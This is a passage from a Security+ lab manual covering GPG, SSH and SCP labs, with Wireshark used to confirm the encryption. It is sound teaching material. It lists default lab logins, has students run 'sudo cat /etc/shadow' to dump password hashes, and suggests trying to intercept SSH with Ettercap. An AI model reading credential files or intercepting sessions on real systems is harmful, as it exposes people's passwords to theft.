Click and drag to select the entire text of the document and then right-click and choose Copy.3.
Right-click the WinPT icon in the Windows system tray and choose Clipboard | Decrypt/Verify.4.
The next box that appears asks for the passphrase for the user labuser. Type 5. SecurePW123! and click OK.
A box should appear labeled WinPT Verify that explains the signature on the message. Click OK.6.
Choose Start | Run.7.
In the Open field, type 8. notepad.
In Notepad, choose Edit | Paste. You may need to choose Format | Word Wrap to read the 9. message without scrolling.
You can now read the message in plaintext. Is this the same text as sent?
Step 15: Decrypt a message on the Windows 2003 Server PC.
In Outlook Express, click Send/Receive.1.
Double-click the e-mail with the subject Encrypted Message.2.
Click and drag to select the entire text of the document and then right-click and choose Copy.3.
Right-click the WinPT icon in the Windows system tray and choose Clipboard | Decrypt/Verify.4.
The next box that appears asks for the passphrase for the user labuser2. Type 5. SecurePW123! and click OK.
A box should appear labeled WinPT Verify that explains the signature on the message. Click OK.6.
Choose Start | Run.7.
In the Open field, type 8. notepad.
In Notepad, choose Edit | Paste. You may need to choose Format | Word Wrap to read the 9. message without scrolling.
The only way to read the message is to decrypt it with the decryption algorithm and the private
key of the recipient. When you decrypt the message, you can see that the signature can be verified.
Since you have the public key of the sender and the signature of the message has been verified, you can
be certain that the message is authentic, in that it came from who it says it came from, and you can
establish nonrepudiation, so that the sender cannot deny having sent the message.
Step 16: Log off from the Windows XP Professional and Windows 2003 Server PCs.
At the Windows XP Professional PC:
Choose Start | Log Off.1.
At the Log Off Windows screen, click Log Off.2.
ch08.indd 205 11/17/10 5:17:46 PM
Chapter 8: Securing Network Communications206
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
At the Windows 2003 Server PC:
Choose Start | Shutdown.1.
At the Shutdown Windows screen, click the drop-down arrow and select Log Off Administrator.2.
Click OK.3.
✖ Warning
The security afforded by an encryption program relies on the algorithm, the key, and the
faithfulness with which the program uses algorithms to generate keys and perform encryption/
decryption functions. It is advisable to verify the integrity of any cryptographic application to
ensure that it has not been modified in an unauthorized fashion.
Lab 8.1 Analysis Questions The following questions apply to the lab in this section:
Public key encryption can be used to prevent harm to what characteristics of data and in 1. what states?
Bob has just installed GPG for his operating system. What information does he need to 2. provide when generating a key pair?
Bob has received Alice’s public key. What must Bob do in order to encrypt a message for Alice? 3. Why will it be secure?
The project manager for a new, sensitive project would like to get his team to implement 4. public key encryption for their e-mail correspondence. He does not understand how giving
away the public key to everyone can keep the data secure. Explain how public keys and
private keys are used to encrypt and decrypt messages.
The project manager would like to know how the use of GPG could impact the project 5. negatively. List and briefly explain any of the issues that he should be concerned about.
ch08.indd 206 11/17/10 5:17:46 PM
Lab 8.1m: Using GPG in Windows 207
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Lab 8.1 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
asymmetric encryption
authentication
ciphertext
encryption
Gnu Privacy Guard (GPG)
hash
key management
nonrepudiation
plaintext
private key
public key
public key encryption
sign
symmetric encryption
1. Text that has been encrypted is called _____________. Once it is decrypted it is called ______________.
2. Implementing encryption to ensure that someone cannot deny the sending of a message establishes _______________________.
3. _____________________ uses two keys, a public key and a private key, for encryption and authentication.
4. Alice wishes to send an encrypted e-mail to Bob. In order for Alice to encrypt the message, she will need Bob’s ________________ so that Bob can decrypt it with his _______________.
Suggested Experiments Go to the GnuPG web site and download the GPG manual. Experiment with securing data that 1. is stored on your hard drive. Determine how to see if the program integrity is correct.
The BackTrack and server machines have been configured with e-mail clients (Thunderbird 2. for BackTrack and Mutt for Metasploitable). Try sending encrypted e-mails between the two
e-mail clients. Find out what the differences are and which client is easier to use.
ch08.indd 207 11/17/10 5:17:47 PM
Chapter 8: Securing Network Communications208
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
References Gnu Privacy Guard• www.gnupg.org
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 5
Lab 8.2: Using Secure Shell (SSH) Remote access to a computer involves sending data between the client and the remote computer. When
this connection is done in clear text, the data is subject to compromise, which leads to issues of data
confidentiality and integrity. A method of establishing a secure connection between machines enables
remote access in a manner that facilitates secure computing. These issues can be avoided by establishing
a secure connection between machines that enables remote access in a manner that facilitates secure
computing. One method of establishing such a connection is SSH.
Secure Shell (SSH) is an application that can be used to give access to a remote shell and to transfer
files via an encrypted channel. SSH is a great replacement for rsh and Telnet. Whereas rsh (remote
shell) and Telnet transmit data in the clear and have a weak means to authenticate users, SSH has
several mechanisms to remedy that weakness. SSH encrypts not only the data but the authentication
process as well. SSH operates at the application layer and typically initiates communication channels
using TCP port 22.
One of the challenges of encrypting traffic is key management. If you want users to connect to
a server and have the traffic encrypted, how do you do that without having to give keys to everyone
individually? In environments where there are numerous users, this can be quite a task. And if the key
becomes compromised, you will need to give out new keys to everyone. One way to overcome this key
management issue is the Diffie-Hellman public key exchange protocol. This uses asymmetric encryption
to exchange symmetric encryption keys. (While asymmetric encryption is good for initial exchanges, it
is inefficient for continuous communication due to its large overhead.) Once the keys are exchanged,
the user uses the public key to encrypt the transfer of a symmetric key. The symmetric key is then used
for the remainder of the connection. The symmetric key is used because symmetric key algorithms are
faster than public key encryption and thus better suited for bulk data encryption.
While SSH is a good replacement for Telnet, it is not as readily available on most computers and
requires the installation and configuration of an SSH server. Routers or firewalls may also have to be
configured to allow traffic on port 22 to pass, which is the port SSH normally uses. Otherwise, both the
server and the client will have to be configured to use a different port.
SSH comes in two versions, SSH1 and SSH2. SSH1 and SSH2 are two entirely different protocols.
SSH1 and SSH2 encrypt at different parts of the packets. SSH1 uses server and host keys to authenticate
systems, whereas SSH2 only uses host keys. SSH2 is also a complete rewrite of the protocol, and uses
more-advanced encryption algorithms. Because of the different protocol implementations, SSH1 and
SSH2 are not compatible, although many SSH2 clients have the ability to operate in an SSH1 mode.
In this lab, you will use the SSH client software to connect to the SSH server. You will use SSH to
establish a remote shell as well as to transfer files. You will also use Wireshark to analyze the data
during the session.
ch08.indd 208 11/17/10 5:17:47 PM
Lab 8.2l: Using Secure Shell in Linux 209
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Learning Objectives At the end of this lab, you’ll be able to
Describe the SSH connection process.•
Retrieve the SSH server host-key fingerprint.•
Determine if the SSH server is the intended server.•
Modify the SSH client configuration.•
Explain the benefits of using SSH over rsh or Telnet.•
Explain the characteristics of data and states of data that SSH protects.•
S 30 minutes
Lab 8.2l: Using Secure Shell in Linux
Materials and Setup You will need the following:
BackTrack•
Metasploitable•
Lab Steps at a Glance
Step 1: Log on to both the BackTrack and Metasploitable PCs.
Step 2: Retrieve the SSH server host key.
Step 3: Configure the SSH client.
Step 4: Start Wireshark and capture the SSH session.
Step 5: View and analyze the captured session.
Step 6: Log off from both the BackTrack and Metasploitable PCs.
Lab Steps
Step 1: Log on to both the BackTrack and Metasploitable PCs.
ch08.indd 209 11/17/10 5:17:47 PM
Chapter 8: Securing Network Communications210
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
To log on to the BackTrack PC:
At the login prompt, type 1. root and press enter.
At the password prompt, type 2. toor and press enter.
To log on to the Metasploitable PC:
At the login prompt, type 1. msfadmin and press enter.
At the password prompt, type 2. msfadmin and press enter.
Step 2: Retrieve the SSH server host key.
On the Metasploitable PC:
At the command line, type 1. ssh-keygen –lf /etc/ssh/ssh_host_rsa_key.pub and press enter.
Write down the fingerprint that is displayed. You will use this information later to verify 2. that the correct connection is made.
Step 3: Configure the SSH client.
On the BackTrack PC, type 1. startx and press enter.
Click the Konsole icon in the taskbar.2.
At the command line, type 3. man ssh and press enter.
Under the Description heading, what does the first sentence say SSH is?a.
What is the option to turn on verbose mode?b.
Type 4. /systemwide configuration file and press enter.
What is the path to the systemwide configuration file for SSH? (You may have to scroll up one
line to see it.)
Press 5. q to exit the man file.
Leave the terminal window open, as you will be using it later.6.
Choose K Menu | Run Command.7.
In the Command combo box, type 8. kate /etc/ssh/ssh_config and click Run.
Scroll down to the line that reads # Protocol 2,1. Delete the 9. # and the ,1. This will set the client to only connect with SSH version 2. Version 1 is weaker and susceptible to man-in-the-
middle attacks.
Scroll down to #Cipher 3des. Delete the 10. # to uncomment the line. Change 3des to aes128-cbc.
What are some of the other ciphers that are available to be used for the session key (you can
see them on the next line down in the ssh_config file)?
ch08.indd 210 11/17/10 5:17:48 PM
Lab 8.2l: Using Secure Shell in Linux 211
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
3DES refers to Triple DES (Data Encryption Standard), an older and soon-to-be-obsolete U.S.
standard for data encryption in the commercial marketplace. AES refers to the Advanced
Encryption Standard, the algorithm selected to replace DES.
Choose File | Save.11.
Choose File | Quit.12.
Step 4: Start Wireshark and capture the SSH session.
Choose K Menu | Internet | Wireshark.1.
On the Wireshark menu, choose Capture | Interface. For eth0, click Start.2.
Minimize Wireshark.3.
At the command line, type 4. ssh [email protected] and press enter.
You will be shown the RSA key fingerprint and asked “Are you sure you want to continue 5. (yes/no)?” Compare this with the key you generated in Step 1. They should match.
Although the session will be encrypted, you want to make sure that you are connecting to
the actual server and not to an imposter trying to collect valid usernames and passwords.
Each SSH server has a unique identifying code, called a host key. The host key is created and
used to detect a main-in-the-middle attack by a rogue server. Therefore, if a server sends a
different host key than expected, the client will alert the user and take steps to thwart the
attack.
Type 6. yes and press enter. Refer to Figure 8-2.
At the password prompt, type 7. password and press enter.
Notice that at the command prompt it now says $.
At the command prompt, type 8. su – msfadmin and press enter.
At the prompt, type 9. msfadmin and press enter.
Type 10. sudo cat /etc/shadow and press enter.
At the password prompt, type 11. msfadmin and press enter.
You are typing this line only to see that you have become the root on the remote computer,
have sent the password for the root user over the network, and have listed the user accounts
on the server. All of this is information that you do not want in the wrong hands. Next you’ll
check whether you can find it in your capture.
At the command line, type 12. exit and press enter. This will exit you from the root user account.
Again type 13. exit and press enter. This will close your SSH connection and the terminal window.
ch08.indd 211 11/17/10 5:17:48 PM
Chapter 8: Securing Network Communications212
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Step 5: View and analyze the captured session.
In the taskbar, click Wireshark, and then choose Capture | Stop.1.
The first two packets captured may be the ARP broadcast and reply.
In the Filter box, type 2. tcp.port==22 and press enter. (Note: You type = twice.)
The first three packets now should be the three-way handshake. Notice the SYN, SYN/ACK,
and ACK packets.
Select the fourth packet in the packet list section (top section). Select SSH Protocol in the tree 3. view section (middle section). View what is highlighted in the bottom data view section. See
Figure 8-3.
The data view section of the packet contains the following: SSH-2.0-OpenSSH_4.7p1.
This packet begins the negotiation of the SSH session. The two machines will exchange the
versions of the SSH software they are using and then determine if they will use SSH version 1 or 2.
Select the sixth packet in the packet list section. Select DATA in the tree view section. View 4. what is highlighted in the data view section.
In the data view section, you will see that the client’s version of SSH to be used is 2.
Figure 8-2 Connecting with SSH
ch08.indd 212 11/17/10 5:17:49 PM
Lab 8.2l: Using Secure Shell in Linux 213
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Select the eighth packet in the packet list section. Select DATA in the tree view section. View 5. what is highlighted in the data view section.
In the data view section, you will see the words Diffie-Hellman. This is the packet that begins
the key exchange. The public keys will be exchanged and then used to encrypt the symmetric
session key that will be used for the remainder of the connection.
Right-click any one of the packets and select Follow TCP Stream.6.
Notice that the only information you get is the SSH protocol negotiation.
Close the Follow TCP Stream window.7.
Close Wireshark and click Continue Without Saving.8.
Step 6: Log off from both the BackTrack and Metasploitable PCs.
At the Metasploitable PC command line, type 1. logout and press enter.
At the BackTrack PC, choose K Menu | Log Out | Log Out, type 2. logout at the command line, and press enter.
Figure 8-3 Analyzing the data from the captured SSH session
ch08.indd 213 11/17/10 5:17:49 PM
Chapter 8: Securing Network Communications214
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
S 30 minutes
Lab 8.2m: Using Secure Shell in Windows
Materials and Setup You will need the following:
Windows XP Professional•
Metasploitable•
Lab Steps at a Glance
Step 1: Start the Windows XP Professional and Metasploitable PCs. Log on to the Windows XP and
Metasploitable PCs.
Step 2: Retrieve the SSH server host key.
Step 3: Configure PuTTY.
Step 4: Start Wireshark and capture the SSH session.
Step 5: View and analyze the captured session.
Step 6: Log off from the Windows XP Professional and Metasploitable PCs.
Lab Steps
Step 1: Start the Windows XP Professional and Metasploitable PCs. Log on to the Windows XP
and Metasploitable PCs.
To log on to the Metasploitable PC:
At the login prompt, type 1. msfadmin and press enter.
At the password prompt, type 2. msfadmin and press enter.
To log on to the Windows XP Professional PC:
At the Login screen, click the Admin icon.1.
In the password text box, type 2. password and press enter.
Step 2: Retrieve the SSH server host key.
On the Metasploitable PC:
At the command line, type 1. ssh-keygen –lf /etc/ssh/ssh_host_rsa_key.pub and press enter.
Write down the fingerprint that is displayed. You will use this information later to verify 2. that the correct connection is made.
ch08.indd 214 11/17/10 5:17:50 PM
Lab 8.2m: Using Secure Shell in Windows 215
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Step 3: Configure PuTTY.
On the Windows XP computer:
Open the Tools folder.1.
Double-click PuTTY.exe. Figure 8-4 shows the PuTTY Configuration window.2.
Be sure the Session category is selected on the left side of the PuTTY Configuration window.3.
In the Host Name box, type 4. 192.168.100.202.
Make sure the Port field is set to 22 and that the SSH protocol is selected as the connection type.5.
Click the Logging category (under Session) and select Log All Session Output.6.
Click the SSH category.7.
Select 2 Only.a.
Make sure AES is at the top of the list of Encryption.b.
Click the Session category again.8.
In the Saved Sessions box, type 9. linuxserv and click Save.
Step 4: Start Wireshark and capture the SSH session.
Before you open the session, start a Wireshark capture.
On the desktop, double-click Wireshark.1.
On the Wireshark menu, choose Capture | Interfaces.2.
Next to the interface with the IP address 192.168.100.101, click Start.3.
Figure 8-4 PuTTY, an SSH client program
ch08.indd 215 11/17/10 5:17:50 PM
Chapter 8: Securing Network Communications216
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
On PuTTY, click Open.4.
The PuTTY Security Alert screen will appear.
Although the session will be encrypted, you want to make sure that you are connecting to
the actual server and not to an impostor trying to collect valid usernames and passwords.
Each SSH server has a unique identifying code, called a host key. The host key is created and
used to detect a main-in-the-middle attack by a rogue server. Therefore, if a server sends a
different host key than expected, PuTTY will alert you and give you a warning message.
Compare the fingerprint with the key that was generated on the server in Step 2. They should
match.
On the PuTTY Security Alert screen, click Yes.5.
At the login as prompt, type 6. labuser and press enter.
At the password prompt, type 7. password and press enter.
Notice that you are now logged on to the remote machine. You’ll next become the root user.
At the command line, type 8. su – msfadmin and press enter.
At the prompt, type 9. msfadmin and press enter.
Next you will look at sensitive data that you can only look at as root. The shadow file contains
the password hashes. You are executing this command to see if you will be able to see it in the
captured Wireshark session.
Type 10. sudo cat /etc/shadow and press enter.
At the password prompt, type 11. msfadmin and press enter.
At the command line, type 12. exit and press enter to exit from the root user account.
Again type 13. exit and press enter to close your SSH connection and terminal window.
Step 5: View and analyze the captured session.
In Wireshark, choose Capture | Stop.1.
In the Filter box, type 2. tcp.port==22 and press enter. (Note: You type = twice.) Figure 8-5 shows the results.
Click the first packet in the packet list section.3.
Since SSH uses the TCP protocol, the first three packets will be the three-way handshake.
Notice that the first three packets are the SYN, SYN/ACK, and ACK packets.
The next four packets will be SSH protocol negotiation. The client and server will determine
what version of the software and what version of the SSH protocol to use to conduct the session.
ch08.indd 216 11/17/10 5:17:50 PM
Lab 8.2m: Using Secure Shell in Windows 217
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Click the seventh packet in the packet list section.4.
The seventh packet initiates the Diffie-Hellman key exchange.a.
Notice that the Info column of the seventh packet says Client: Key Exch and that in the b. 11th packet it is .InitServer: Key Exch Init. Note that the exact position maybe slightly
different for you.
Right-click one of the SSH packets and select Follow TCP Stream.5.
Notice that you do not see any plaintext except the SSH and PuTTY banners and the a. listing of the encryption protocols for the negotiation.
Is there anything an attacker can do with this information?b.
Close the Follow TCP Stream window.6.
Close the Wireshark program; if you are asked to Save Capture File, select Quit Without Saving.7.
Figure 8-5 The captured SSH session in Windows
ch08.indd 217 11/17/10 5:17:51 PM
Chapter 8: Securing Network Communications218
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
In the Tools folder window, double-click the putty.txt file.8.
This is a log of the session and all the information that was displayed on the screen.a.
In what way might this feature be useful to a network administrator?b.
In what way might this feature be useful to an attacker who obtained a password to c. the system?
Close the Notepad program.9.
Step 6: Log off from the Windows XP Professional and Metasploitable PCs.
At the Windows XP Professional PC, choose Start | Log Off | Log Off.1.
At the Metasploitable PC, type 2. logoff at the command prompt and press enter.
Lab 8.2 Analysis Questions The following questions apply to the labs in this section:
What characteristics of data does SSH protect and in what state?1.
You have heard there are exploits available that can compromise the SSH1 protocol. What are 2. the steps to ensure that you use version 2?
You are the administrator for a Metasploitable server that is also an SSH server. A user 3. wants to verify that he is connecting to the correct server and would like to know what
the fingerprint is for the server. What is the command that you would type to retrieve the
fingerprint of your host key?
The senior administrator at your company is considering making Telnet available for users to 4. remotely access a server. Explain why using SSH would be a better choice.
The senior administrator would like to know what concerns he should have regarding the 5. implementation of SSH. Explain what issues may arise in the use of SSH.
ch08.indd 218 11/17/10 5:17:51 PM
Lab 8.2m: Using Secure Shell in Windows 219
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Lab 8.2 Key Terms Quiz Use these key terms from the labs to complete the sentences that follow:
3DES
AES
asymmetric encryption
authentication
Diffie-Hellman
encryption
host key
rsh (remote shell)
Secure Shell (SSH)
symmetric encryption
symmetric key
TCP port 22
1. The _____________ protocol is used to exchange public keys during an SSH session.
2. To ensure that you are not connected to an SSH server that is spoofing the IP address of an actual server, you would check the fingerprint of the _________________.
3. SSH uses ____________ to initiate communications between machines.
4. SSH uses ______________ encryption to handle bulk data between machines.
5. SSH uses both user ______________ and data channel ______________ to provide a secure means of remote access.
Follow-Up Lab Lab 8.3: Using Secure Copy (SCP)• Now that you have seen how to securely open a remote console, next you’ll see how to transfer files in a secure and encrypted manner.
Suggested Experiment In Lab 6.2, you used Ettercap. Run Ettercap and see if you can intercept information from SSH. Try with
both version 1 and version 2 of the protocol.
ch08.indd 219 11/17/10 5:17:52 PM
Chapter 8: Securing Network Communications220
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
References Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 11
Secure Shell•
PuTTY• www.chiark.greenend.org.uk/~sgtatham/putty/
OpenSSH• www.openssh.org/
SSH FAQs• http://www.faqs.org/faqs/computer-security/ssh-faq/
Lab 8.3: Using Secure Copy (SCP) Secure Copy (SCP) can be used to transfer files to and from a remote computer. It was intended as a
replacement for the rcp command but can also be used to replace FTP. Whereas rcp and FTP transmit
data in the clear and have weak means to authenticate users, SCP has several mechanisms to remedy
that. SCP uses the Diffie-Hellman public key exchange protocol to exchange keys. Once the keys are
exchanged, it uses the public keys to encrypt the transfer of a symmetric key. The symmetric key is then
used for the remainder of the connection. There are several symmetric encryption algorithms available.
Blowfish is an algorithm that is strong, fast, and freely available. The symmetric key is used for bulk
data encryption because symmetric key encryption is faster than public key encryption.
While SCP is a good replacement for FTP, it requires the installation and configuration of an SSH
server. The SCP client comes installed in most Linux distributions but not in Windows. The Windows
version is WinSCP and can be downloaded free of charge.
In this lab, you will use the SCP client software to connect to the SSH server. You will use it to
upload a simple web page. You will also use Wireshark to analyze the data during the session.
Learning Objectives At the end of this lab, you’ll be able to
Retrieve the SSH server host-key fingerprint.•
Configure the SCP client.•
Transfer files to and from a server using SCP.•
Explain the benefits of using SCP over Telnet or rcp.•
Explain the characteristics of data and states of data that SCP protects.•
ch08.indd 220 11/17/10 5:17:52 PM
Lab 8.3l: Using Secure Copy in Linux 221
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
S 30 minutes
Lab 8.3l: Using Secure Copy in Linux
Materials and Setup You will need the following:
BackTrack•
Metasploitable•
Lab Steps at a Glance
Step 1: Log on to both the BackTrack and Metasploitable PCs.
Step 2: Retrieve the SSH server host key.
Step 3: Configure the SCP client.
Step 4: Create a simple web page.
Step 5: Start Wireshark and capture the session.
Step 6: View and analyze the captured session.
Step 7: Log off from the BackTrack and Metasploitable PCs.
Lab Steps
Step 1: Log on to both the BackTrack and Metasploitable PCs.
To log on to the BackTrack PC:
At the login prompt, type 1. root and press enter.
At the password prompt, type 2. toor and press enter.
➜ Note
You will not see any characters as you type the password.
To log on to the Metasploitable PC:
At the login prompt, type 1. labuser and press enter.
At the password prompt, type 2. password and press enter.
ch08.indd 221 11/17/10 5:17:52 PM
Chapter 8: Securing Network Communications222
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Step 2: Retrieve the SSH server host key.
On the Metasploitable PC:
At the command line, type 1. ssh-keygen –lf /etc/ssh/ssh_host_rsa_key.pub and press enter.
Write down the fingerprint that is displayed. You will use this information later to verify
that the correct connection is made.
You need to create the directory that will be used for the labuser web page.
At the command line, type 2. mkdir public_html and press enter.
Step 3: Configure the SCP client.
On the BackTrack PC, type 1. startx and press enter.
On the taskbar, click Konsole.2.
At the command line, type 3. man scp and press enter.
What does the –C (capital c) option do?a.
What is the option to turn on verbose mode?b.
Press 4. q to exit the man file.
Choose K Menu | Run Command.5.
In the Command combo box, type 6. kate /etc/ssh/ssh_config and press enter.
Scroll down to the line that reads # Protocol 2,1. Delete the 7. # and the ,1. This will set the client to only connect with SSH2. Version 1 is weaker and susceptible to man-in-the-middle attacks.
Scroll down to #Cipher 3des. Delete the 8. # to uncomment the line. Change 3des to blowfish- cbc. Refer to Figure 8-6.
What are some of the other ciphers that are available to be used for the session key?
Choose File | Save.9.
Step 4: Create a simple web page.
In Kate, choose File | New.1.
Type the following text:2.
<html>
<head><title>Under construction</title></head>
<body><h1> This page is under construction. </h1>
<p>More information will be posted here </p></body>
</html>
Choose File | Save As.3.
In the text box, type 4. index.html and click OK.
ch08.indd 222 11/17/10 5:17:53 PM
Lab 8.3l: Using Secure Copy in Linux 223
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
➜ Note
The file must be saved as index.html in order to be displayed by a web browser without having
to specify the name of the page. If the file is saved as anything else, Step 3 will not work
correctly.
Choose File | Quit.5.
Step 5: Start Wireshark and capture the session.
Choose K Menu | Internet | Wireshark.1.
On the Wireshark menu, choose Capture | Interfaces.2.
Next to eth0, click Start.3.
Minimize Wireshark.4.
At the command line, type scp index.html [email protected]:public_html and press
enter. (If necessary, right-click the desktop and click New Terminal.)
Figure 8-6 Configuring the SSH client in Linux
ch08.indd 223 11/17/10 5:17:53 PM
Chapter 8: Securing Network Communications224
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
The SCP command, like the CP command, requires that you give it a source and destination.
In the command line you just typed, index.html is the source, and the destination is the
public_html directory of labuser on the host machine with the IP address 192.168.100.202.
You will be shown the RSA key fingerprint and asked “Are you sure you want to continue 5. (yes/no)?” Type yes and press enter.
At the password prompt, type 6. password and press enter.
A progress bar will appear, and when the file transfer has completed, you will be returned to
the prompt.
On the taskbar, click the Firefox web browser icon.7.
In the address bar, type 8. http://192.168.100.202/~labuser and press enter.
You should see the “under construction” page you created.
Step 6: View and analyze the captured session.
Click the Wireshark Capture screen and click Stop.1.
The first two packets captured may be the ARP broadcast and reply.
In the Filter box, type 2. tcp.port==22 and press enter. (Note: You type = twice.)
The first three packets now should be the three-way handshake. Notice the SYN, SYN/ACK,
and ACK packets.
Select the fourth packet in the packet list section. Select SSH Protocol in the tree view 3. section. View what is highlighted in the bottom data view section.
The data view section of the packet contains the following: SSH-2.0-OpenSSH_4.7p1.
This packet begins the negotiation of the SSH session. The two machines will exchange the
versions of the SSH software they are using and then determine if they will use SSH version 1
or 2.
Select the sixth packet in the packet list section. Select DATA in the tree view section. View 4. what is highlighted in the data view section.
In the data view section, you will see that the client’s version of SSH to be used is 2.
Select the eighth packet in the packet list section. Select DATA in the tree view section. View 5. what is highlighted in the data view section.
In the data view section you will see the words Diffie-Hellman. This is the packet that begins
the key exchange. The public keys will be exchanged and then used to encrypt the symmetric
session key that will be used for the remainder of the connection.
Right-click any one of the packets and select Follow TCP Stream.6.
ch08.indd 224 11/17/10 5:17:53 PM
Lab 8.3m: Using Secure Copy in Windows 225
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Notice that the only information you get is the SSH protocol negotiation.
Close the Follow TCP Stream window.7.
Close Wireshark.8.
Step 7: Log off from the BackTrack and Metasploitable PCs.
At the BackTrack PC, choose K Menu | Log Out | Logout, type 1. logout at the command line, and press enter.
At the Metasploitable PC, type 2. logout at the command line and press enter.
S 30 minutes
Lab 8.3m: Using Secure Copy in Windows
Materials and Setup You will need the following:
Windows XP Professional•
Metasploitable•
Lab Steps at a Glance
Step 1: Start the Windows XP Professional and Metasploitable PCs. Log on to the Windows XP and
Metasploitable PCs.
Step 2: Retrieve the SSH server host key.
Step 3: Create a simple web page.
Step 4: Install and configure WinSCP.
Step 5: Start Wireshark and capture the SSH session.
Step 6: View and analyze the captured session.
Step 7: Log off from the Windows XP Professional and Metasploitable PCs.
Lab Steps
Step 1: Start the Windows XP Professional and Metasploitable PCs. Log on to the Windows XP
and Metasploitable PCs.
ch08.indd 225 11/17/10 5:17:54 PM
Chapter 8: Securing Network Communications226
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
To log on to the Windows XP Professional PC:
At the Login screen, click the Admin icon.1.
In the password text box, type 2. password.
To log on to the Metasploitable PC:
At the login prompt, type 1. msfadmin and press enter.
At the password prompt, type 2. msfadmin and press enter.
Step 2: Retrieve the SSH server host key.
On the Metasploitable PC:
At the command line, type 1. ssh-keygen –lf /etc/ssh/ssh_host_rsa_key.pub and press enter.
Write down the fingerprint that is displayed. You will use this information later to verify 2. that the correct connection is made.
Step 3: Create a simple web page.
On the Windows XP computer:
Choose Start | Run.1.
In the Open box, type 2. notepad and press enter.
In Notepad, type the following text:3.
<html>
<head><title>Under construction</title></head>
<body><h1> This page is under construction. </h1>
<p>More information will be posted here </p></body>
</html>
In Notepad, choose File | Save As.4.
In the Save In combo box, select My Documents.a.
In the File Name combo box, type b. index.html.
In the Save as Type combo box, select All Files. c.
Click Save.d.
The file must be saved as e. index.html in order to be displayed by a web browser without having to specify the name of the page. If the file is saved as anything else, Step 5 will not
work correctly.
Close Notepad.f.
ch08.indd 226 11/17/10 5:17:54 PM
Lab 8.3m: Using Secure Copy in Windows 227
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Step 4: Install and configure WinSCP.
On the desktop, open the Tools folder.1.
Double-click winscp428setup (the number will change as WinSCP is updated).2.
On the Select Setup Language screen, select English and click OK.3.
On the Welcome to the Winscp3 Setup Wizard screen, click Next.4.
On the License Agreement screen, select I Accept and click Next.5.
On the Select Destination Location screen, click Next.6.
On the Select Setup Type screen, click Next.7.
On the Initial User Settings screen, click Next.8.
On the Ready to Install screen, click Install.9.
On the Completing the WinSCP3 Setup Wizard screen, click Finish.10.
The WinSCP program will start up, the opening screen of which is shown in Figure 8-7.
Make sure Session is selected on the left.11.
For Host Name, type a. 192.168.100.202.
Port Number should be set to b. 22.
For User Name, type c. labuser.
For Password, type d. password.
For File Protocol, select e. SCP.
Figure 8-7 WinSCP, an SCP client program
ch08.indd 227 11/17/10 5:17:55 PM
Chapter 8: Securing Network Communications228
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Check the Advanced Options check box.12.
Select the Session, Logging option.13.
Select the Text Log radio button.a.
Set Logging Level to Normal.b.
Check the Log to File check box.c.
Click the Browse button and select Desktop for the destination of the log file.d.
Check the Show Log Window check box and select Display Complete Session.e.
Select the SSH option.14.
For Preferred SSH Protocol Version, select 2 Only.a.
Select Blowfish and click the Up button so that it is first on the list.b.
At the bottom of the WinSCP login screen, click Save.15.
In the Save Session As window, click OK.16.
Most users would save a session to a frequently used machine so that they do not need to
reconfigure the settings again. However, it is not advisable to include the password.
Step 5: Start Wireshark and capture the SSH session.
Before you open the session, start a Wireshark capture.
Close the Tools folder.1.
On the desktop, double-click Wireshark.2.
On the Wireshark menu, choose Capture | Interfaces.3.
Next to the interface with the IP address 192.168.100.101, click Start.4.
Minimize Wireshark.5.
On WinSCP, click Login.6.
You will get a warning screen that shows the fingerprint of the server. Check that the 7. fingerprint matches the one you retrieved from the server in Step 2.
On the Warning screen, click Yes.8.
Enter the password 9. password.
The WinSCP window is split into two panes. See Figure 8-8. On the left are the files for the
